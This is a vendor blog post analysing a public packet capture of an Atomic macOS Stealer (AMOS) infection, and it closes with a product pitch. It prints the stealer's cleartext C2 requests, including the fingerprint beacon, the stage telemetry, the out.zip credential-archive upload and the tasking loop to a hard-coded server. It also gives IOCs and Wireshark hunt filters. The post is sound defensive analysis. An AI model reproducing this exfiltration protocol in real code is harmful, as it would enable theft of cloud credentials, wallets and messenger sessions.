Atomic macOS Stealer (AMOS): Reading the C2 Protocol from a PCAP
Published: June 23, 2026
On 9 June 2026, malware-traffic-analysis.net published a capture of a Mac infected with AMOS — the Atomic macOS Stealer, the malware-as-a-service infostealer that has become the default payload for fake-installer and ClickFix campaigns aimed at macOS. Most stealer captures hand you fragments: a beacon here, an upload there, and you reconstruct the rest. This one is different. The malware ran its entire conversation with a single server, in clear-text HTTP, from first packet to last — so instead of inferring the command-and-control protocol we can simply read it: the enrollment handshake, the theft narrated stage by stage, the loot archive leaving the machine, and the tasking loop that keeps the box on a leash. This is the 47-minute capture 2026-06-09-AMOS-infection-traffic.pcap read the way we would in an incident — and what PcapAI flagged from it automatically. It is a companion to our earlier macOS ClickFix walkthrough: same malware family, a noticeably different network shape, and the difference turns out to matter.
What is in the capture
One host does everything that matters: 10.6.9.237, an Apple device (MAC 1c:f6:4c:44:ba:9a) running macOS 26.5.1 on Apple Silicon — we know the exact build because the malware tells the server, more on that shortly. Across roughly 12,956 packets and 47 minutes, 91% of frames are TCP. Strip out the normal macOS background hum — Apple Push, iCloud, a little Shazam, some QUIC — and what is left is a single conversation: 5.4 MB pushed to 178.62.250.99 over plain HTTP on port 80, from a curl/8.7.1 client. That IP never appears in a single DNS query in the whole capture — it is hard-coded into the malware. PcapAI’s free on-screen summary calls it on the first pass:
The free upload summary: one HIGH finding — Automated Exfiltration (T1020) — plus TCP retransmission degradation, before a cent is spent or an account created.
Capture
47.3 minutes · 12,956 packets · 91% TCP. SHA-256 7768ebce…60a9405f.
The one host
10.6.9.237 → 178.62.250.99 (DigitalOcean, NL, AS14061) · HTTP/80 · curl/8.7.1.
Unlock the report and PcapAI lays the same conclusion on an executive dashboard: Security Risk 60/100, Network Issues 65/100 (Degraded), overall posture ELEVATED, and a single MITRE ATT&CK detection — T1020 Automated Exfiltration, 10.6.9.237 → 178.62.250.99.
The report’s risk dashboard and ATT&CK detection. The numbers are the headline; the rest of this post is the evidence behind them.
Sign 1 — the boot beacon fingerprints the Mac (and uses curl)
Three and a half seconds into the capture, the stealer introduces itself. The very first request to the C2 is a check-in that ships the host’s operating-system fingerprint as JSON. In Wireshark, Follow → HTTP Stream on that conversation shows the whole exchange in the clear:
POST /api/metrics/run?event=started&stage=boot HTTP/1.1
Host: 178.62.250.99
User-Agent: curl/8.7.1
Accept: */*
Content-Type: application/json
user: 4fdvDwBqQ0MnJXyIbL31YLmNu9YYK1g7z5TaPU4DBEk
BuildID: f-9raP6AesPW_PCRZoO1AiG0L7MzsP16p8GDjMizd1s
Content-Length: 68
{"os":"macOS","os_version":"26.5.1","arch":"arm64","locale":"en_US"}
HTTP/1.1 204 No Content
Server: nginx
Everything an analyst needs is in those few lines. Two custom headers do the identifying: user: is a per-victim or per-build token, and BuildID: is the campaign/build identifier — both ride along on every subsequent request, so they thread the entire session together. The body is the recon: OS, version, CPU architecture, locale. The server answers 204 No Content from nginx — a telemetry sink that just wants the data and acknowledges receipt.
Why curl/8.7.1 is the tell
A native macOS app talks to its backend through NSURLSession, which sends a Darwin/CFNetwork User-Agent. Every one of the 61 HTTP requests in this capture is curl/8.7.1 hitting a bare IP. That is not an app — it is the malware shelling out to curl as its HTTP stack, exactly what you inherit when the dropper is a curl | bash one-liner.
The boot beacon in Wireshark. The OS fingerprint and the user/BuildID headers are right there in cleartext — no TLS to peel.
Sign 2 — the malware narrates its own theft
Here is the part of this capture you do not usually get to see. Immediately after the boot beacon, the stealer posts a run of stage telemetry — one tiny POST per collection step, each carrying the same 68-byte fingerprint and each answered 204. The query string names the step. Read them in order and you are reading the loot pipeline as it runs:
t+3.9s POST /api/metrics/run?event=started&stage=boot
t+4.3s POST /api/metrics/run?event=stage&stage=init_session
t+4.4s POST /api/metrics/run?event=stage&stage=messengers
t+4.4s POST /api/metrics/run?event=stage&stage=credentials
t+4.5s POST /api/metrics/run?event=stage&stage=browsers
t+4.5s POST /api/metrics/run?event=stage&stage=wallets
t+60.4s POST /api/metrics/run?event=stage&stage=resolve_auth
t+68.6s POST /api/metrics/run?event=stage&stage=local_data
That is the Atomic Stealer collection set, self-labelled: messengers (Telegram and friends), credentials, browsers, wallets, then a resolve_auth step and a final local_data sweep. The first six fire inside a single second — the modules that read in-memory and on-disk state are instant — while resolve_auth and local_data lag by a minute, which is the malware waiting on the user (the password / Finder-access prompts AMOS is known for) and then walking the filesystem. You are watching the theft happen, narrated by the thief, with timestamps.
Sign 3 — the loot leaves as out.zip, and you can read the manifest
Interleaved with the stage beacons, the same host makes three POST /contact requests — multipart/form-data uploads, each a form field named file with filename out.zip. Two are small partial pieces (3 KB and 3.9 KB, the first tagged with an X-Partial: 1 header); the third, at t+87.7s, is the whole archive: 3,439,626 bytes — 3.44 MB, pushed with an Expect: 100-continue handshake. That single upload is the stolen data leaving the machine.
And because it is plain HTTP, the ZIP’s central directory — the list of file names inside the archive — rides over the wire in cleartext, even though the file contents are compressed. So the capture tells you exactly what was taken:
out.zip
├─ info (system + run metadata)
├─ username
├─ installedSoft (installed-application inventory)
├─ Telegram Data/ (messenger session data)
├─ deskwallets/
│ ├─ TonKeeper/ (desktop crypto wallet)
│ └─ Binance/
└─ FileGrabber/
├─ aws/ (~/.aws credentials)
├─ gcloud/ (Google Cloud SDK config)
├─ docker/ (Docker config / tokens)
├─ filezilla/ (saved FTP logins)
└─ zsh_history (shell history)
This is a developer’s machine getting cleaned out: a Telegram session, two crypto wallets (TonKeeper, Binance), and a FileGrabber haul of cloud and dev-tool secrets — AWS keys, the gcloud SDK config, Docker tokens, saved FileZilla passwords, and the shell history that ties it all together. No endpoint agent told us that. The packets did.
The exfiltration in Wireshark: a multipart out.zip upload over plain HTTP, ZIP entry names legible in the clear.
Sign 4 — the tasking loop, and a Mac serial in the open
With the data gone, the malware enrolls for ongoing control. At t+91s it posts to /api/join/ — and the body is the most sensitive identifier in the whole capture:
POST /api/join/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
4fdvDwBqQ0MnJXyIbL31YLmNu9YYK1g7z5TaPU4DBEk
FF40665JVF
2.0
HTTP/1.1 200 OK
mg9WrPzlnvOkUZtiY0oEjw
The build token, then FF40665JVF — what reads as the Mac’s hardware serial number — then a client version, 2.0. The server hands back a session token, mg9WrPzlnvOkUZtiY0oEjw, and from that point on the malware long-polls for jobs: 40 requests of GET /api/tasks/mg9WrPzlnvOkUZtiY0oEjw?v=2.0, each acknowledged with a POST /api/tasks/ack (uid=mg9…&id=22952870), on a steady heartbeat for the rest of the capture. That opaque token is the bot ID; the loop is the C2 keeping the implant alive and reachable. PcapAI’s Top HTTP Paths table reconstructs the whole API surface from the traffic alone:
Straight from the report: a single curl/8.7.1 client, the full /api/tasks control plane, and 48% of bytes sent in the clear.
One server, not two — why the ATT&CK mapping shifts
In the ClickFix capture the loot went to a separate upload server, which makes it cleanly T1020 Automated Exfiltration. Here, check-in, tasking, and the out.zip upload all hit the same host over the same protocol — which is the textbook definition of T1041, Exfiltration Over C2 Channel. PcapAI tags T1020 (the automation is real); for the report-to-ATT&CK purist, T1041 is the tighter fit, and the persistent HTTP tasking adds T1071.001, Application Layer Protocol: Web Protocols. Same family, different network design, different cell on the matrix.
The exfil is loud: 20.9% retransmission
The free summary flagged a TCP problem next to the security one, and the two are the same event. Pushing a 3.44 MB archive over plain HTTP to a VPS in another country is hard on the path, and it shows: on the connection that carried the upload, Wireshark counts 1,263 retransmissions across 6,032 segments — 20.9%. PcapAI’s root-cause engine ties the knot explicitly: the exfiltration flow to 178.62.250.99 is what is driving the 20.94% retransmission rate and the “Degraded” network score — not a coincidental link problem.
It is a useful reminder that a security incident and a performance incident are often one finding seen from two angles. The same packets that say “you are being robbed” also say “your link to that VPS is dropping one segment in five” — and the second is what a NOC would have noticed first.
Read the noisy findings honestly
Automated analysis earns trust by being right about the ambiguous parts, so here are the two findings that need a human to down-rank them. PcapAI’s correlation engine flagged a 27% NXDOMAIN rate as a likely signal of a malicious process failing service discovery — the kind of thing a domain-generation algorithm produces. The packets say otherwise. Every failed lookup in the capture is benign macOS service discovery: lb._dns-sd._udp.0.9.6.10.in-addr.arpa and lb._dns-sd._udp.mshome.net — Bonjour/DNS-SD probing for printers and shares on the local segment. The malware never used DNS at all; it talked to a hard-coded IP. So the NXDOMAIN rate is real but it is the OS being the OS, not the implant. I would not escalate on it.
The cadence claim deserves the same precision. The on-screen summary rounds the beaconing to “~10 seconds”; measured at the request level it is two different rhythms — the eight collection beacons compressed into the first seconds, then the tasking heartbeat running roughly once a minute for the rest of the capture. The exact period is less important than the shape: machine-regular, unattended, for 47 minutes straight. That is the signature, and it holds.
One more honest note on attribution: the file name says AMOS, and the behavior — the staged messengers/credentials/browsers/wallets collection, the FileGrabber module, the curl-based HTTP, the /api/join+/api/tasks protocol — matches the Atomic Stealer family. A PCAP confirms what crossed the wire; pairing it with the dropped binary is what nails the strain. The traffic alone is already enough to act.
The verdict
Stacked together, the capture is an open-and-shut compromise of one endpoint: an OS fingerprint, eight self-labelled collection stages, a 3.44 MB loot archive, and a persistent tasking loop — all to a single hard-coded server, all in cleartext. PcapAI scores it ELEVATED and, more useful than the score, correlates the security and TCP findings into one chain rather than two unrelated alerts. The executive summary writes the remediation for you.
The report’s executive summary and root-cause correlation — exploitation confirmed, the exfil tied to the retransmission storm, and a short-term action list.
Translated to an incident runbook: isolate 10.6.9.237 now; add an egress block for 178.62.250.99 and the surrounding DigitalOcean range (AS14061); then image the host for the dropper. And because the loot already left at t+88s, treat everything in that out.zip as burned: rotate the AWS keys, the gcloud and Docker tokens, the FileZilla logins, the Telegram session, and move the crypto wallets. Do not wait for confirmation — the packets are the confirmation.
Indicators of compromise
From this public sample — treat as historical, since stealer infrastructure rotates quickly:
| Indicator | Type | Notes |
|---|---|---|
| 10.6.9.237 | Victim host | Apple, MAC 1c:f6:4c:44:ba:9a · macOS 26.5.1 arm64 |
| 178.62.250.99 | C2 / exfil server | DigitalOcean, NL (AS14061) · HTTP/80 · hard-coded, no DNS |
| curl/8.7.1 | User-Agent | Malware HTTP client (61 requests) |
| /api/metrics/run · /contact · /api/join/ · /api/tasks/… · /api/tasks/ack | URI paths | Telemetry / loot upload / enroll / tasking |
| 4fdvDwBqQ0MnJXyIbL31YLmNu9YYK1g7z5TaPU4DBEk | user header | Per-victim / build token |
| f-9raP6AesPW_PCRZoO1AiG0L7MzsP16p8GDjMizd1s | BuildID header | Campaign / build identifier |
| lyricopal1.com, ballad-20.com, wuess.com, chiselvibe.com | Domains | Cloudflare-fronted, TLS · secondary; a 4.7 MB TLS download from lyricopal1.com immediately precedes the first beacon (contents not visible) |
| out.zip | Loot archive | 3.44 MB · wallets, Telegram, AWS/gcloud/Docker/FileZilla, zsh history |
| 7768ebce…60a9405f | SHA-256 | Source PCAP |
Catch it in your own captures
You will not see this exact token or IP again, but the behaviors generalize, and each is a one-line hunt in Wireshark or tshark:
- A
curlUser-Agent to a bare IP. Native macOS apps do not use it.http.user_agent contains "curl"surfaces this whole class in one filter. - Telemetry that names its own stages. Query strings like
stage=walletsorstage=credentialsare a gift —http.request.uri contains "stage="and read what it admits to. - A multipart upload of a
.zipto an IP with no DNS name. Filterhttp.request.method == "POST" && mime_multipart; on plain HTTP the archive’s file list is right there in the bytes. - A hard-coded C2 IP. A destination that carries the most bytes yet never appears in any DNS query is a strong tell — legitimate services resolve a name first.
- A fixed-interval poll to one host. Set the time column to “Seconds since previous displayed packet,” filter to the destination, and watch the deltas line up into a heartbeat.
Running those checks by hand on every capture is the job. Running them in under five minutes on every capture is the point of automating it — PcapAI runs these and 40+ others, maps each hit to its MITRE ATT&CK technique, and hands back a PDF you can staple to the ticket.
Frequently Asked Questions
What is AMOS / Atomic macOS Stealer?
A macOS infostealer sold as a service, distributed mainly through malvertising, cracked-app lures, and ClickFix “paste this in Terminal” pages. Once run, it collects browser data, the Keychain, messenger sessions, crypto wallets, and developer/cloud credentials, archives them, and uploads the archive to a collection server — the exact behavior visible in this capture.
Can you detect a macOS stealer from a PCAP without an endpoint agent?
Yes. A capture does not care what OS or EDR is on the host. The curl C2, the staged telemetry, and the cleartext loot upload are all in the packets regardless of platform. This capture had no agent and the compromise — down to the file names that were stolen — is unmistakable from the traffic alone.
Why is a curl User-Agent a red flag on macOS?
Native macOS apps use NSURLSession / CFNetwork, which send a Darwin/CFNetwork User-Agent. A curl User-Agent beaconing to a raw IP is almost always a script or malware acting as its own HTTP client — the fingerprint a curl | bash installer leaves behind.
How is this different from the ClickFix macOS stealer capture?
Same Atomic-Stealer family, different network design. The ClickFix sample split its traffic across a beacon server and a separate exfil server (cleanly T1020). This one runs check-in, the loot upload, and the tasking loop through a single host — exfiltration over the C2 channel (T1041) plus web-protocol C2 (T1071.001). Reading both side by side is a good lesson in why the ATT&CK mapping depends on the wire, not the malware name.
What should be rotated after an infection like this?
Everything the out.zip manifest lists: AWS keys, gcloud and Docker credentials, saved FileZilla/FTP logins, browser-stored passwords and cookies, the Telegram session, and any crypto-wallet seed material. The upload completed inside the capture, so assume exfiltration succeeded and rotate immediately rather than waiting for confirmation.
Real-world detections
Have a Capture You Need to Triage?
Upload your PCAP and get a MITRE-mapped forensic PDF — C2 beaconing, cleartext exfiltration, and suspicious User-Agents flagged automatically, in minutes.